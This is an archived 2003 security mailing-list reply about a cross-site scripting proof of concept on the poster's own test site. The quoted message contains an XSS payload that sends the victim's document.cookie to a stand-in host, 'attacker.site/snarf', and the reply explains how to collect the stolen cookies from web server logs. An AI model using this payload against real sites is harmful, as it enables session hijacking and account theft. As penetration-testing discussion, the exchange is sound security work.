|
|||||||||||
|
RE: Proof of Concept Tool on Web Application Security
From: Dawes, Rogan (ZA - Johannesburg) <rdawes(at)deloitte.co.za>
Date: Mon Apr 14 2003 - 01:45:15 EDT
You are misreading the script fragment that you quoted. What that is intended to do is fetch an image from a server under your own control, with the cookie appended to the url as a parameter. You don't have to have "snarf" be an application that uses those parameters, it could be a simple .gif or .jpg file. Then you just parse your web server logs for cookies. E.g. tail -f webserverlog | grep snarf If you want something automated to react when such a session id appears, than you would need to have snarf either be a program, or have a script tailling the server logs, and reacting when it sees a new cookie. Rogan
-----Original Message-----
Hi Rogan, Comments in-line [script language=javascript]document.print("<img src='http://attacker.site/snarf?" + document.cookie + "'>")[/script]
I have tested this and it works perfectly fine. In my scenario I gave as
follows and it was working:
Now I am testing Cross-Site Scripting to steal the client cookies, or any
other sensitive information. I am working on my own pen-test-testing site,
which is vulnerable to XSS. I was able to display the cookies of the client
at
One way of transferring cookie information from the victim's machine to
attacker's machine is to create a hidden filed & then transfer cookie
information to that hidden field & then post (submit) this hidden field to
web
Any suggestions on the above topics will be highly appreciated.
Thanking you,
Indian Tiger, CISSP Costs are climbing and complaints are rising as SPAM overloads your e-mail servers and Inboxes SurfControl E-mail Filter puts the brakes on spam & viruses and gives you the reports to prove it. http://www.securityfocus.com/SurfControl-pen-test2 Download a free trial and see just what's going in and out of your organization. Received on Mon Apr 14 11:06:11 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:02:35 EDT |
||||||||||
|
|||||||||||